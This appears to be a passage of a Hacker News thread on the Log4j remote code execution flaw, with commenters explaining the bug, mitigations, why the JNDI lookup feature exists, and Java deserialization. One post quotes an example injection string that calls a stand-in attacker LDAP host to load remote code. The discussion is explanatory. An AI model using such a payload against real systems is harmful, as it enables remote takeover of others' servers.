Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4j RCE Found

lunasec.io

Post reply on HN
Print view View original

21–30 of 531 posts

Re: Log4j RCE Found

#21

Post by koolba »

ievans wrote: post #19
koolba wrote: post #14

What’s the actual bug and how would it be exploited?

If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria... Another commentators states that after Java 8u1…

Thank you for the explanation.

Mitigation seems to disable JNDI lookups. Wouldn’t it make more sense to disable parsing altogether? In what possible situation does anyone want their logging library to run eval(…) on arbitrary inputs?!

Re: Log4j RCE Found

#22

Post by jldugger »

fotta wrote: post #12
acdha wrote: post #10

Earlier quoted context omitted.

That text isn't present on that page any more – it looks like that was silently removed at some point after December 4th: https://web.archive.org/web/20211204140505/https://logging.a...

I can still see the prop on the page under "Disables Message Pattern Lookups" and "System Properties"

Wonder why the documentation changed so recently

Re: Log4j RCE Found

#23

Post by nick__m »

xyst wrote: post #16

This should be something that static code analyzers should pick up. If a dependency log4j dependency is Just in time to ruin all of the reports project managers present to executives

the vulnerable feature is not in log4j see https://github.com/apache/logging-log4j2/pull/608#issuecomme...

and you can just delete the affected class

Re: Log4j RCE Found

#24

Post by nijave »

testplzignore wrote: post #20

I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?

I'm guessing some sort of auditing or routing functionality. For instance, you have debug logs going to some development server and login events going to so audit server.

I don't have experience with this feature but there's similar use cases in log shipping utilities like fluentd

Edit: I read the other link and it looks like some sort of poorly designed RPC functionality or something shrug

Edit 2: Reading https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/..., it sounds like it's a form of service discover of sorts. You talk to a registry server and it provides some object pointing to the real destination

Re: Log4j RCE Found

#25

Post by BeefWellington »

testplzignore wrote: post #20

I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?

> I don't get what the point of this feature even is.

This is basically the response to every type of vulnerability that is based on some spec nobody's read. Same deal with XML entity parsing. Why should it make web requests, FTP requests, etc.?

At some point someone had it as a requirement and everyone else gets to live with it.

Re: Log4j RCE Found

#27

Post by freeqaz »

throwaway81523 wrote: post #18

The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?

There are some more details in this post we wrote up earlier[0]. Feel free to throw me any questions (I'm a security engineer).

0: https://www.lunasec.io/docs/blog/log4j-zero-day/

Re: Log4j RCE Found

#28

Post by nijave »

Isn't it generally considered bad practice to log user controlled data (without some form of sanitization)? I think static analyzers tend to find these since they're a type of injection attack (an attacker could insert fake log lines or otherwise interfere with the log contents)

Re: Log4j RCE Found

#29

Post by chii »

throwaway81523 wrote: post #18

The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?

Java has the ability to serialize a class, send it over the network, and deserialize it back into a usable class. This mechanism is quite flexible, and allows the class itself to control some aspect of it's own serialization (such as code to run post-serialization, as a form of initialiation, somewhat similar to a constructor).

So if you load a class from an unknown source (such as this exploit's example), you are basically allowing RCE.

Post reply on HN